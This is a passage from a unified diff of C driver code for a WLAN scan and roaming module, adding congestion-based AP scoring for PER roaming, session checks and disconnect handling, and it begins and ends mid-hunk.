pCommand->u.scanCmd.u.scanRequest.max_chntime_btc_esco = + pMac->roam.configParam.max_chntime_btc_esco; + pCommand->u.scanCmd.u.scanRequest.min_chntime_btc_esco = + pMac->roam.configParam.min_chntime_btc_esco; pCommand->u.scanCmd.u.scanRequest.scanType = eSIR_ACTIVE_SCAN; if(pSession->connectedProfile.SSID.length) { @@ -1487,8 +1538,10 @@ eHalStatus csrScanRequestLostLink2( tpAniSirGlobal pMac, tANI_U32 sessionId ) pCommand->u.scanCmd.pContext = NULL; pCommand->u.scanCmd.u.scanRequest.maxChnTime = pMac->roam.configParam.nActiveMaxChnTime; pCommand->u.scanCmd.u.scanRequest.minChnTime = pMac->roam.configParam.nActiveMinChnTime; - pCommand->u.scanCmd.u.scanRequest.maxChnTimeBtc = pMac->roam.configParam.nActiveMaxChnTimeBtc; - pCommand->u.scanCmd.u.scanRequest.minChnTimeBtc = pMac->roam.configParam.nActiveMinChnTimeBtc; + pCommand->u.scanCmd.u.scanRequest.max_chntime_btc_esco = + pMac->roam.configParam.max_chntime_btc_esco; + pCommand->u.scanCmd.u.scanRequest.min_chntime_btc_esco = + pMac->roam.configParam.min_chntime_btc_esco; pCommand->u.scanCmd.u.scanRequest.scanType = eSIR_ACTIVE_SCAN; if(pSession->pCurRoamProfile) { @@ -1601,8 +1654,10 @@ eHalStatus csrScanRequestLostLink3( tpAniSirGlobal pMac, tANI_U32 sessionId ) pCommand->u.scanCmd.pContext = NULL; pCommand->u.scanCmd.u.scanRequest.maxChnTime = pMac->roam.configParam.nActiveMaxChnTime; pCommand->u.scanCmd.u.scanRequest.minChnTime = pMac->roam.configParam.nActiveMinChnTime; - pCommand->u.scanCmd.u.scanRequest.maxChnTimeBtc = pMac->roam.configParam.nActiveMaxChnTimeBtc; - pCommand->u.scanCmd.u.scanRequest.minChnTimeBtc = pMac->roam.configParam.nActiveMinChnTimeBtc; + pCommand->u.scanCmd.u.scanRequest.max_chntime_btc_esco = + pMac->roam.configParam.max_chntime_btc_esco; + pCommand->u.scanCmd.u.scanRequest.min_chntime_btc_esco = + pMac->roam.configParam.min_chntime_btc_esco; pCommand->u.scanCmd.u.scanRequest.scanType = eSIR_ACTIVE_SCAN; vos_mem_copy(&pCommand->u.scanCmd.u.scanRequest.bssid, bAddr, sizeof(tCsrBssid)); //Put to the head of pending queue @@ -1637,9 +1692,8 @@ eHalStatus csrScanHandleSearchForSSID(tpAniSirGlobal pMac, tSmeCmd *pCommand) tCsrScanResultFilter *pScanFilter = NULL; tCsrRoamProfile *pProfile = pCommand->u.scanCmd.pToRoamProfile; tANI_U32 sessionId = pCommand->sessionId; -#ifdef FEATURE_WLAN_BTAMP_UT_RF - tCsrRoamSession *pSession = CSR_GET_SESSION( pMac, sessionId ); -#endif + tCsrRoamSession *pSession = CSR_GET_SESSION(pMac, sessionId); + do { #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD @@ -1655,6 +1709,23 @@ eHalStatus csrScanHandleSearchForSSID(tpAniSirGlobal pMac, tSmeCmd *pCommand) break; } #endif + if (!pSession) + { + smsLog(pMac, LOGE, FL("session %d not found"), sessionId); + break; + } + /* If Disconnect is already issued from HDD no need to issue connect + * pSession->abortConnection will not be set in case of try + * disconnect or hdd stop adaptor use connectState for these cases. + */ + if (pSession->abortConnection || + (pMac->roam.roamSession[sessionId].connectState == + eCSR_ASSOC_STATE_TYPE_INFRA_DISCONNECTING)) + { + smsLog(pMac, LOGE, + FL("Disconnect in progress, no need to issue connect")); + break; + } //If there is roam command waiting, ignore this roam because the newer roam command is the one to execute if(csrIsRoamCommandWaitingForSession(pMac, sessionId)) { @@ -1691,8 +1762,10 @@ eHalStatus csrScanHandleSearchForSSID(tpAniSirGlobal pMac, tSmeCmd *pCommand) csrScanResultPurge(pMac, hBSSList); } //We haven't done anything to this profile - csrRoamCallCallback(pMac, sessionId, NULL, pCommand->u.scanCmd.roamId, - eCSR_ROAM_ASSOCIATION_FAILURE, eCSR_ROAM_RESULT_FAILURE); + csrRoamCallCallback(pMac, sessionId, NULL, + pCommand->u.scanCmd.roamId, + eCSR_ROAM_ASSOCIATION_FAILURE, + eCSR_ROAM_RESULT_SCAN_FOR_SSID_FAILURE); //In case we have nothing else to do, restart idle scan if(csrIsConnStateDisconnected(pMac, sessionId) && !csrIsRoamCommandWaiting(pMac)) { @@ -1800,14 +1873,14 @@ eHalStatus csrScanHandleSearchForSSIDFailure(tpAniSirGlobal pMac, tSmeCmd *pComm csrRoamCallCallback(pMac, sessionId, pRoamInfo, pCommand->u.scanCmd.roamId, eCSR_ROAM_ASSOCIATION_COMPLETION, - eCSR_ROAM_RESULT_FAILURE); + eCSR_ROAM_RESULT_SCAN_FOR_SSID_FAILURE); } else { csrRoamCallCallback(pMac, sessionId, NULL, pCommand->u.scanCmd.roamId, eCSR_ROAM_ASSOCIATION_FAILURE, - eCSR_ROAM_RESULT_FAILURE); + eCSR_ROAM_RESULT_SCAN_FOR_SSID_FAILURE); } #ifdef FEATURE_WLAN_BTAMP_UT_RF //In case of WDS station, let it retry. @@ -1988,6 +2061,275 @@ static tANI_U32 csrGetBssCapValue(tpAniSirGlobal pMac, tSirBssDescription *pBssD return (ret); } +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + +/* Calculate channel weight based on other APs RSSI and count for + * PER based roaming */ +static tANI_U32 GetPERRoamRssiCountWeight(tANI_S32 rssi, tANI_S32 count) +{ + tANI_S32 rssiWeight=0; + tANI_S32 countWeight=0; + tANI_S32 rssicountWeight=0; + + rssiWeight = ROAMING_RSSI_WEIGHT * (rssi - MIN_RSSI) + /(MAX_RSSI - MIN_RSSI); + + if(rssiWeight > ROAMING_RSSI_WEIGHT) + rssiWeight = ROAMING_RSSI_WEIGHT; + else if (rssiWeight < 0) + rssiWeight = 0; + + countWeight = ROAM_AP_COUNT_WEIGHT * (count + ROAM_MIN_COUNT) + /(ROAM_MAX_COUNT + ROAM_MIN_COUNT); + + if(countWeight > ROAM_AP_COUNT_WEIGHT) + countWeight = ROAM_AP_COUNT_WEIGHT; + + rssicountWeight = ROAM_MAX_WEIGHT - (rssiWeight + countWeight); + + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_INFO_HIGH, + FL("rssiWeight=%d, countWeight=%d, rssicountWeight=%d rssi=%d count=%d"), + rssiWeight, countWeight, rssicountWeight, rssi, count); + + return rssicountWeight; +} + +/* Calculate BSS score based on AP capabilty and channel condition + * for PER based roaming */ +static tANI_U32 calculateBssScore(tSirBssDescription *bssInfo, + tANI_S32 best_rssi, tANI_S32 ap_cnt, tANI_S32 cca) +{ + tANI_S32 score = 0; + tANI_S32 ap_load = 0; + tANI_S32 normalised_width = PER_ROAM_20MHZ; + tANI_S32 normalised_rssi = 0; + tANI_S32 channel_weight; + if (bssInfo->rssi) { + /* Calculate % of rssi we are getting + * max = 100 + * min = 0 + * less than -40 = 100% + * -40 - -55 = 80% + * -55 - -65 = 60% + * below that = 100 - value + * TODO: a linear decrement function after PER_ROAM_GOOD_RSSI_WEIGHT + * since throughput decrements linearly after PER_ROAM_GOOD_RSSI_WEIGHT + **/ + if (bssInfo->rssi >= PER_EXCELENT_RSSI) + normalised_rssi = PER_ROAM_EXCELLENT_RSSI_WEIGHT; + else if (bssInfo->rssi >= PER_GOOD_RSSI) + normalised_rssi = PER_ROAM_GOOD_RSSI_WEIGHT; + else if (bssInfo->rssi >= PER_POOR_RSSI) + normalised_rssi = PER_ROAM_BAD_RSSI_WEIGHT; + else + normalised_rssi = bssInfo->rssi - MIN_RSSI; + + /* Calculate score part for rssi */ + score += (normalised_rssi * RSSI_WEIGHTAGE); + } + + if (bssInfo->HTCapsPresent) { + score += PER_ROAM_MAX_WEIGHT * HT_CAPABILITY_WEIGHTAGE; + } + /* VHT caps are available */ + if (bssInfo->vhtCapsPresent) { + score += PER_ROAM_MAX_WEIGHT * VHT_CAP_WEIGHTAGE; + } + + if (bssInfo->beacomformingCapable) + score += PER_ROAM_MAX_WEIGHT * BEAMFORMING_CAP_WEIGHTAGE; + + /* Channel width 20Mhz=30, 40Mhz=70, 80Mhz=100 */ + if (bssInfo->chanWidth == eHT_CHANNEL_WIDTH_80MHZ) + normalised_width = PER_ROAM_80MHZ; + else if (bssInfo->chanWidth == eHT_CHANNEL_WIDTH_40MHZ) + normalised_width = PER_ROAM_40MHZ; + else + normalised_width = PER_ROAM_20MHZ; + score += normalised_width * CHAN_WIDTH_WEIGHTAGE; + + /* Channel Band, Channel Number */ + if (GetRFBand(bssInfo->channelId) == SIR_BAND_5_GHZ) + score += PER_ROAM_MAX_WEIGHT * CHAN_BAND_WEIGHTAGE; + + /* WMM emabled */ + if (bssInfo->wmeInfoPresent) + score += PER_ROAM_MAX_WEIGHT * WMM_WEIGHTAGE; + +#if defined(FEATURE_WLAN_ESE) || defined(WLAN_FEATURE_ROAM_SCAN_OFFLOAD) + /* AP load Ie */ + if (bssInfo->QBSSLoad_present) { + /* calculate value in % */ + ap_load = (bssInfo->QBSS_ChanLoad * PER_ROAM_MAX_WEIGHT) / MAX_AP_LOAD; + } +#endif + /* if CCA consideration is off in configuration, FW will send 50% for + every channel which should be considered as it is */ + if (ap_load) + score += (100 - ap_load) * CCA_WEIGHTAGE; + else + score += (100 - cca) * CCA_WEIGHTAGE; + + channel_weight = GetPERRoamRssiCountWeight(best_rssi, ap_cnt); + + score += channel_weight * OTHER_AP_WEIGHT; + + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_INFO_LOW, + FL("rssi=%d normalized_rssi=%d htcaps=%d vht=%d bw=%d channel=%d wmm=%d beamforming=%d ap_load=%d channel_weight=%d"), + bssInfo->rssi, normalised_rssi, bssInfo->HTCapsPresent, + bssInfo->vhtCapsPresent, bssInfo->chanWidth, + bssInfo->channelId, bssInfo->wmeInfoPresent, + bssInfo->beacomformingCapable, ap_load, channel_weight); + return score; +} + +/* Calculate candidate AP score for PER based roaming */ +static tANI_S32 csrFindCongestionScore (tpAniSirGlobal pMac, tCsrScanResult *pBss) +{ + tANI_S32 score = 0; + tANI_S32 i; + tANI_S32 candidateApCnt, best_rssi, other_ap_cnt; + tANI_U32 current_timestamp; + tpCsrNeighborRoamControlInfo pNeighborRoamInfo = + &pMac->roam.neighborRoamInfo; + + tSirBssDescription *bssInfo = &(pBss->Result.BssDescriptor); + pBss->congestionScore = 0; + for (i = 0; i < pMac->PERroamCandidatesCnt; i++) + if (pMac->candidateChannelInfo[i].channelNumber == + pBss->Result.BssDescriptor.channelId) + break; + + if (i == SIR_PER_ROAM_MAX_CANDIDATE_CNT) { + smsLog(pMac, LOGE, + FL("candidate chan info not found for channel %d bssid " + MAC_ADDRESS_STR), pBss->Result.BssDescriptor.channelId, + MAC_ADDR_ARRAY(pBss->Result.BssDescriptor.bssId)); + return -1; + } + + if (bssInfo->rssi < PER_BAD_RSSI) { + smsLog(pMac, LOG1, + FL("discrarding candidate due to low rssi=%d bssid " + MAC_ADDRESS_STR), bssInfo->rssi, + MAC_ADDR_ARRAY(pBss->Result.BssDescriptor.bssId)); + return 0; + } + /* find best RSSI of other AP in this channel */ + best_rssi = MIN_RSSI; + for (other_ap_cnt = 0; other_ap_cnt < + pMac->candidateChannelInfo[i].otherApCount; other_ap_cnt++) { + if (pMac->candidateChannelInfo[i].otherApRssi[other_ap_cnt] > best_rssi) + best_rssi = pMac->candidateChannelInfo[i].otherApRssi[other_ap_cnt]; + } + + score = calculateBssScore(bssInfo, best_rssi, + pMac->candidateChannelInfo[i].otherApCount, + pMac->candidateChannelInfo[i].channelCCA); + current_timestamp = jiffies_to_msecs(jiffies); + + /* penalty logic */ + + /* In the previous list */ + for (candidateApCnt = 0; candidateApCnt < + SIR_PER_ROAM_MAX_CANDIDATE_CNT; candidateApCnt++) { + if (sirCompareMacAddr(pMac->previousRoamApInfo[candidateApCnt].bssAddr, + pBss->Result.BssDescriptor.bssId) && + ((current_timestamp - pMac->previousRoamApInfo[candidateApCnt].timeStamp) < + PENALTY_TIMEOUT)) { + score = (score * PENALTY_REMAINING_SCORE)/PENALTY_TOTAL_SCORE; + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_INFO, + FL("AP BSSID " MAC_ADDRESS_STR "adding penalty(in previous list)new score %d"), + MAC_ADDR_ARRAY(pBss->Result.BssDescriptor.bssId), + score); + break; + } + } + /* preauth failed last time */ + for (candidateApCnt = 0; candidateApCnt < + MAX_NUM_PREAUTH_FAIL_LIST_ADDRESS; candidateApCnt++) { + if (sirCompareMacAddr(pNeighborRoamInfo->FTRoamInfo. + preAuthFailList.macAddress[candidateApCnt], + pBss->Result.BssDescriptor.bssId)) { + score = (score * PENALTY_REMAINING_SCORE)/PENALTY_TOTAL_SCORE; + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_INFO, + FL("AP BSSID " MAC_ADDRESS_STR "adding penalty(previously auth failed)new score %d"), + MAC_ADDR_ARRAY(pBss->Result.BssDescriptor.bssId), + score); + break; + } + } + pBss->congestionScore = score; + + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_INFO, + FL("AP BSSID " MAC_ADDRESS_STR " score %d channel %d"), + MAC_ADDR_ARRAY(pBss->Result.BssDescriptor.bssId), + score, pBss->Result.BssDescriptor.channelId); + return 0; +} + +/* Calculate current AP score for PER based roaming */ +static tANI_S32 csrFindSelfCongestionScore(tpAniSirGlobal pMac, + tSirBssDescription *bssInfo) +{ + tANI_S32 i, best_rssi, other_ap_cnt; + tANI_S32 score = 0; + tCsrRoamSession *pSession = CSR_GET_SESSION(pMac, + pMac->roam.roamSession->sessionId); + + if (pSession == NULL) + return -1; + + for (i = 0; i <= pMac->PERroamCandidatesCnt; i++) + if (pMac->candidateChannelInfo[i].channelNumber == bssInfo->channelId) + break; + if (i > pMac->PERroamCandidatesCnt) { + /* home channel info is not present, no need to roam */ + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + FL("home channel %d congestion info not present"), + bssInfo->channelId); + pMac->currentBssScore = PER_ROAM_MAX_BSS_SCORE; + return -1; + } + + /* find best RSSI of other AP in this channel */ + best_rssi = MIN_RSSI; + for (other_ap_cnt = 0; other_ap_cnt < + pMac->candidateChannelInfo[i].otherApCount; other_ap_cnt++) { + if (pMac->candidateChannelInfo[i].otherApRssi[other_ap_cnt] > best_rssi) + best_rssi = pMac->candidateChannelInfo[i].otherApRssi[other_ap_cnt]; + } + + /* update latest RSSI for current AP */ + WLANTL_GetRssi(vos_get_global_context(VOS_MODULE_ID_SME, NULL), + pSession->connectedInfo.staId, + &bssInfo->rssi); + + score = calculateBssScore(bssInfo, best_rssi, + pMac->candidateChannelInfo[i].otherApCount, + pMac->candidateChannelInfo[i].channelCCA); + pMac->currentBssScore = score; + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_INFO, + FL("PER Roam Current AP score %d channel %d"), + score, bssInfo->channelId); + return 0; +} + + +static tANI_BOOLEAN csrIsBetterBssInCongestion(tCsrScanResult *pBss1, + tCsrScanResult *pBss2) +{ + tANI_BOOLEAN ret; + + if(CSR_IS_BETTER_PREFER_VALUE(pBss1->congestionScore, + pBss2->congestionScore)) + ret = eANI_BOOLEAN_TRUE; + else + ret = eANI_BOOLEAN_FALSE; + + return (ret); +} +#endif //To check whther pBss1 is better than pBss2 static tANI_BOOLEAN csrIsBetterBss(tCsrScanResult *pBss1, tCsrScanResult *pBss2) @@ -2113,7 +2455,9 @@ eHalStatus csrScanGetResult(tpAniSirGlobal pMac, tCsrScanResultFilter *pFilter, tDot11fBeaconIEs *pIes, *pNewIes; tANI_BOOLEAN fMatch; tANI_U16 i = 0; - + tCsrRoamSession *pSession = CSR_GET_SESSION(pMac, + pMac->roam.roamSession->sessionId); + if(phResult) { *phResult = CSR_INVALID_SCANRESULT_HANDLE; @@ -2230,7 +2574,13 @@ eHalStatus csrScanGetResult(tpAniSirGlobal pMac, tCsrScanResultFilter *pFilter, vos_mem_set(pRetList, sizeof(tScanResultList), 0); csrLLOpen(pMac->hHdd, &pRetList->List); pRetList->pCurEntry = NULL; - +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + if (pFilter && pFilter->isPERRoamScan) + if (pSession && pSession->pConnectBssDesc) + csrFindSelfCongestionScore(pMac, + pSession->pConnectBssDesc); +#endif + csrLLLock(&pMac->scan.scanResultList); pEntry = csrLLPeekHead( &pMac->scan.scanResultList, LL_ACCESS_NOLOCK ); while( pEntry ) @@ -2313,7 +2663,7 @@ eHalStatus csrScanGetResult(tpAniSirGlobal pMac, tCsrScanResultFilter *pFilter, pResult->mcEncryptionType = mc; pResult->authType = auth; pResult->Result.ssId = pBssDesc->Result.ssId; - pResult->Result.timer = 0; + pResult->Result.timer = pBssDesc->Result.timer; //save the pIes for later use pResult->Result.pvIes = pNewIes; //save bss description @@ -2322,7 +2672,22 @@ eHalStatus csrScanGetResult(tpAniSirGlobal pMac, tCsrScanResultFilter *pFilter, //No need to lock pRetList because it is locally allocated and no outside can access it at this time if(csrLLIsListEmpty(&pRetList->List, LL_ACCESS_NOLOCK)) { - csrLLInsertTail(&pRetList->List, &pResult->Link, LL_ACCESS_NOLOCK); +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + if (pFilter && pFilter->isPERRoamScan) { + csrFindCongestionScore(pMac, pResult); + if (pResult->congestionScore > pMac->currentBssScore) { + csrLLInsertTail(&pRetList->List, &pResult->Link, + LL_ACCESS_NOLOCK); + smsLog(pMac, LOGW, + FL("added one entry in LL in PER Roam list")); + } + } + else +#endif + { + csrLLInsertTail(&pRetList->List, &pResult->Link, + LL_ACCESS_NOLOCK); + } } else { @@ -2334,20 +2699,48 @@ eHalStatus csrScanGetResult(tpAniSirGlobal pMac, tCsrScanResultFilter *pFilter, while(pTmpEntry) { pTmpResult = GET_BASE_ADDR( pTmpEntry, tCsrScanResult, Link ); - if(csrIsBetterBss(pResult, pTmpResult)) - { - csrLLInsertEntry(&pRetList->List, pTmpEntry, &pResult->Link, LL_ACCESS_NOLOCK); - //To indicate we are done - pResult = NULL; - break; +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + if (pFilter && pFilter->isPERRoamScan) { + csrFindCongestionScore(pMac, pResult); + if(csrIsBetterBssInCongestion(pResult, pTmpResult)&& + (pResult->congestionScore > pMac->currentBssScore)) + { + csrLLInsertEntry(&pRetList->List, pTmpEntry, + &pResult->Link, LL_ACCESS_NOLOCK); + smsLog(pMac, LOGW, + FL("added another entry in LL in PER Roam list")); + pResult = NULL; + break; + } + pTmpEntry = csrLLNext(&pRetList->List, + pTmpEntry, LL_ACCESS_NOLOCK); } - pTmpEntry = csrLLNext(&pRetList->List, pTmpEntry, LL_ACCESS_NOLOCK); + else +#endif + { + if(csrIsBetterBss(pResult, pTmpResult)) + { + csrLLInsertEntry(&pRetList->List, pTmpEntry, + &pResult->Link, LL_ACCESS_NOLOCK); + //To indicate we are done + pResult = NULL; + break; + } + pTmpEntry = csrLLNext(&pRetList->List, + pTmpEntry, LL_ACCESS_NOLOCK); + } } if(pResult != NULL) - { - //This one is not better than any one - csrLLInsertTail(&pRetList->List, &pResult->Link, LL_ACCESS_NOLOCK); - } +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + if ((pFilter && !pFilter->isPERRoamScan) || + (pFilter == NULL) || + (pResult->congestionScore > pMac->currentBssScore)) +#endif + { + //This one is not better than any one + csrLLInsertTail(&pRetList->List, + &pResult->Link, LL_ACCESS_NOLOCK); + } } count++; } @@ -2370,6 +2763,8 @@ eHalStatus csrScanGetResult(tpAniSirGlobal pMac, tCsrScanResultFilter *pFilter, csrLLClose(&pRetList->List); vos_mem_free(pRetList); status = eHAL_STATUS_E_NULL_VALUE; + smsLog(pMac, LOGW, + FL("Nil scan results or no matching AP found")); } else if(phResult) { @@ -2776,74 +3171,141 @@ eHalStatus csrScanningStateMsgProcessor( tpAniSirGlobal pMac, void *pMsgBuf ) { eHalStatus status = eHAL_STATUS_SUCCESS; tSirMbMsg *pMsg = (tSirMbMsg *)pMsgBuf; + tSirSmeDisConDoneInd *pDisConDoneInd; + tCsrRoamSession *pSession; + tCsrRoamInfo roamInfo = {0}; - if((eWNI_SME_SCAN_RSP == pMsg->type) || (eWNI_SME_GET_SCANNED_CHANNEL_RSP == pMsg->type)) + if((eWNI_SME_SCAN_RSP == pMsg->type) || + (eWNI_SME_GET_SCANNED_CHANNEL_RSP == pMsg->type)) { status = csrScanSmeScanResponse( pMac, pMsgBuf ); } else { - if(pMsg->type == eWNI_SME_UPPER_LAYER_ASSOC_CNF) + switch (pMsg->type) { - tCsrRoamSession *pSession; - tSirSmeAssocIndToUpperLayerCnf *pUpperLayerAssocCnf; - tCsrRoamInfo roamInfo; - tCsrRoamInfo *pRoamInfo = NULL; - tANI_U32 sessionId; - eHalStatus status; - smsLog( pMac, LOG1, FL("Scanning : ASSOCIATION confirmation can be given to upper layer ")); - vos_mem_set(&roamInfo, sizeof(tCsrRoamInfo), 0); - pRoamInfo = &roamInfo; - pUpperLayerAssocCnf = (tSirSmeAssocIndToUpperLayerCnf *)pMsgBuf; - status = csrRoamGetSessionIdFromBSSID( pMac, (tCsrBssid *)pUpperLayerAssocCnf->bssId, &sessionId ); - pSession = CSR_GET_SESSION(pMac, sessionId); - - if(!pSession) + case eWNI_SME_UPPER_LAYER_ASSOC_CNF: { - smsLog(pMac, LOGE, FL(" session %d not found "), sessionId); - return eHAL_STATUS_FAILURE; - } + tSirSmeAssocIndToUpperLayerCnf *pUpperLayerAssocCnf; + tCsrRoamInfo *pRoamInfo = NULL; + tANI_U32 sessionId; + eHalStatus status; + + smsLog( pMac, LOG1, + FL("Scanning : ASSOCIATION confirmation can be given to upper layer ")); + pRoamInfo = &roamInfo; + pUpperLayerAssocCnf = (tSirSmeAssocIndToUpperLayerCnf *)pMsgBuf; + status = csrRoamGetSessionIdFromBSSID( pMac, + (tCsrBssid *)pUpperLayerAssocCnf->bssId, + &sessionId ); + pSession = CSR_GET_SESSION(pMac, sessionId); - pRoamInfo->statusCode = eSIR_SME_SUCCESS; //send the status code as Success - pRoamInfo->u.pConnectedProfile = &pSession->connectedProfile; - pRoamInfo->staId = (tANI_U8)pUpperLayerAssocCnf->aid; - pRoamInfo->rsnIELen = (tANI_U8)pUpperLayerAssocCnf->rsnIE.length; - pRoamInfo->prsnIE = pUpperLayerAssocCnf->rsnIE.rsnIEdata; - pRoamInfo->addIELen = (tANI_U8)pUpperLayerAssocCnf->addIE.length; - pRoamInfo->paddIE = pUpperLayerAssocCnf->addIE.addIEdata; - vos_mem_copy(pRoamInfo->peerMac, pUpperLayerAssocCnf->peerMacAddr, sizeof(tSirMacAddr)); - vos_mem_copy(&pRoamInfo->bssid, pUpperLayerAssocCnf->bssId, sizeof(tCsrBssid)); - pRoamInfo->wmmEnabledSta = pUpperLayerAssocCnf->wmmEnabledSta; + if(!pSession) + { + smsLog(pMac, LOGE, FL("session %d not found "), sessionId); + return eHAL_STATUS_FAILURE; + } + + //send the status code as Success + pRoamInfo->statusCode = eSIR_SME_SUCCESS; + pRoamInfo->u.pConnectedProfile = &pSession->connectedProfile; + pRoamInfo->staId = (tANI_U8)pUpperLayerAssocCnf->aid; + pRoamInfo->rsnIELen = + (tANI_U8)pUpperLayerAssocCnf->rsnIE.length; + pRoamInfo->prsnIE = pUpperLayerAssocCnf->rsnIE.rsnIEdata; + pRoamInfo->addIELen = + (tANI_U8)pUpperLayerAssocCnf->addIE.length; + pRoamInfo->paddIE = pUpperLayerAssocCnf->addIE.addIEdata; + vos_mem_copy(pRoamInfo->peerMac, + pUpperLayerAssocCnf->peerMacAddr, + sizeof(tSirMacAddr)); + vos_mem_copy(&pRoamInfo->bssid, + pUpperLayerAssocCnf->bssId, + sizeof(tCsrBssid)); + pRoamInfo->wmmEnabledSta = pUpperLayerAssocCnf->wmmEnabledSta; #ifdef WLAN_FEATURE_AP_HT40_24G - pRoamInfo->HT40MHzIntoEnabledSta = - pUpperLayerAssocCnf->HT40MHzIntoEnabledSta; + pRoamInfo->HT40MHzIntoEnabledSta = + pUpperLayerAssocCnf->HT40MHzIntoEnabledSta; #endif - if(CSR_IS_INFRA_AP(pRoamInfo->u.pConnectedProfile) ) + if(CSR_IS_INFRA_AP(pRoamInfo->u.pConnectedProfile) ) + { + pMac->roam.roamSession[sessionId].connectState = + eCSR_ASSOC_STATE_TYPE_INFRA_CONNECTED; + pRoamInfo->fReassocReq = pUpperLayerAssocCnf->reassocReq; + status = csrRoamCallCallback(pMac, sessionId, pRoamInfo, + 0, eCSR_ROAM_INFRA_IND, + eCSR_ROAM_RESULT_INFRA_ASSOCIATION_CNF); + } + if(CSR_IS_WDS_AP( pRoamInfo->u.pConnectedProfile)) + { + vos_sleep( 100 ); + pMac->roam.roamSession[sessionId].connectState = + eCSR_ASSOC_STATE_TYPE_WDS_CONNECTED;//Sta + status = csrRoamCallCallback(pMac, sessionId, pRoamInfo, 0, + eCSR_ROAM_WDS_IND, + eCSR_ROAM_RESULT_WDS_ASSOCIATION_IND);//Sta + } + break; + } + case eWNI_SME_DISCONNECT_DONE_IND: + pDisConDoneInd = (tSirSmeDisConDoneInd *)(pMsg); + + smsLog( pMac, LOG1, + FL("eWNI_SME_DISCONNECT_DONE_IND RC:%d"), + pDisConDoneInd->reasonCode); + pSession = CSR_GET_SESSION(pMac,pDisConDoneInd->sessionId); + if (pSession) { - pMac->roam.roamSession[sessionId].connectState = eCSR_ASSOC_STATE_TYPE_INFRA_CONNECTED; - pRoamInfo->fReassocReq = pUpperLayerAssocCnf->reassocReq; - status = csrRoamCallCallback(pMac, sessionId, pRoamInfo, 0, eCSR_ROAM_INFRA_IND, eCSR_ROAM_RESULT_INFRA_ASSOCIATION_CNF); + if( CSR_IS_SESSION_VALID(pMac, pDisConDoneInd->sessionId)) + { + roamInfo.reasonCode = pDisConDoneInd->reasonCode; + roamInfo.statusCode = eSIR_SME_STA_DISASSOCIATED; + vos_mem_copy(roamInfo.peerMac, pDisConDoneInd->peerMacAddr, + sizeof(tSirMacAddr)); + status = csrRoamCallCallback(pMac, + pDisConDoneInd->sessionId, + &roamInfo, 0, + eCSR_ROAM_LOSTLINK, + eCSR_ROAM_RESULT_DISASSOC_IND); + /* + * Update the previous state if + * previous state was eCSR_ROAMING_STATE_JOINED + * as we are disconnected and + * currunt state is scanning + */ + if (!CSR_IS_INFRA_AP(&pSession->connectedProfile) + && (eCSR_ROAMING_STATE_IDLE != + pMac->roam.prev_state[pDisConDoneInd->sessionId])) + pMac->roam.prev_state[pDisConDoneInd->sessionId] = + eCSR_ROAMING_STATE_IDLE; + } + else + { + smsLog(pMac, LOGE, FL("Inactive session %d"), + pDisConDoneInd->sessionId); + status = eHAL_STATUS_FAILURE; + } } - if(CSR_IS_WDS_AP( pRoamInfo->u.pConnectedProfile)) + else { - vos_sleep( 100 ); - pMac->roam.roamSession[sessionId].connectState = eCSR_ASSOC_STATE_TYPE_WDS_CONNECTED;//Sta - status = csrRoamCallCallback(pMac, sessionId, pRoamInfo, 0, eCSR_ROAM_WDS_IND, eCSR_ROAM_RESULT_WDS_ASSOCIATION_IND);//Sta + smsLog(pMac, LOGE, FL("Invalid session")); + status = eHAL_STATUS_FAILURE; } + break; - } - else - { - + default : if( csrIsAnySessionInConnectState( pMac ) ) { - //In case of we are connected, we need to check whether connect status changes - //because scan may also run while connected. - csrRoamCheckForLinkStatusChange( pMac, ( tSirSmeRsp * )pMsgBuf ); + /*In case of we are connected, we need to check whether connect + * status changes because scan may also run while connected. + */ + csrRoamCheckForLinkStatusChange( pMac, (tSirSmeRsp *)pMsgBuf ); } else { - smsLog( pMac, LOGW, "Message [0x%04x] received in state, when expecting Scan Response", pMsg->type ); + smsLog( pMac, LOGW, + "Message [0x%04x] received in state, when expecting Scan Response", + pMsg->type ); } } } @@ -2863,8 +3325,8 @@ void csrCheckNSaveWscIe(tpAniSirGlobal pMac, tSirBssDescription *pNewBssDescr, t (0 == pNewBssDescr->WscIeLen)) { idx = 0; - len = pOldBssDescr->length - sizeof(tSirBssDescription) + - sizeof(tANI_U16) + sizeof(tANI_U32) - DOT11F_IE_WSCPROBERES_MIN_LEN - 2; + len = GET_IE_LEN_IN_BSS(pOldBssDescr->length) + - DOT11F_IE_WSCPROBERES_MIN_LEN - 2; pbIe = (tANI_U8 *)pOldBssDescr->ieFields; //Save WPS IE if it exists pNewBssDescr->WscIeLen = 0; @@ -3151,6 +3613,7 @@ static void csrMoveTempScanResultsToMainList( tpAniSirGlobal pMac, tANI_U8 reaso tANI_U32 sessionId = CSR_SESSION_ID_INVALID; tAniSSID tmpSsid; v_TIME_t timer=0; + tANI_U8 occupied_chan_count = pMac->scan.occupiedChannels.numChannels; tmpSsid.length = 0; @@ -3180,16 +3643,8 @@ static void csrMoveTempScanResultsToMainList( tpAniSirGlobal pMac, tANI_U8 reaso #endif ) { - //Limit reach - smsLog(pMac, LOGW, FL(" BSS limit reached")); - //Free the resources - if( (pBssDescription->Result.pvIes == NULL) && pIesLocal ) - { - vos_mem_free(pIesLocal); - } - csrFreeScanResultEntry(pMac, pBssDescription); - //Continue because there may be duplicated BSS - continue; + smsLog(pMac, LOG1, FL("########## BSS Limit reached ###########")); + csrPurgeOldScanResults(pMac); } // check for duplicate scan results if ( !fDupBss ) @@ -3247,6 +3702,19 @@ static void csrMoveTempScanResultsToMainList( tpAniSirGlobal pMac, tANI_U8 reaso } } +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + if (sme_IsFeatureSupportedByFW(PER_BASED_ROAMING) && + 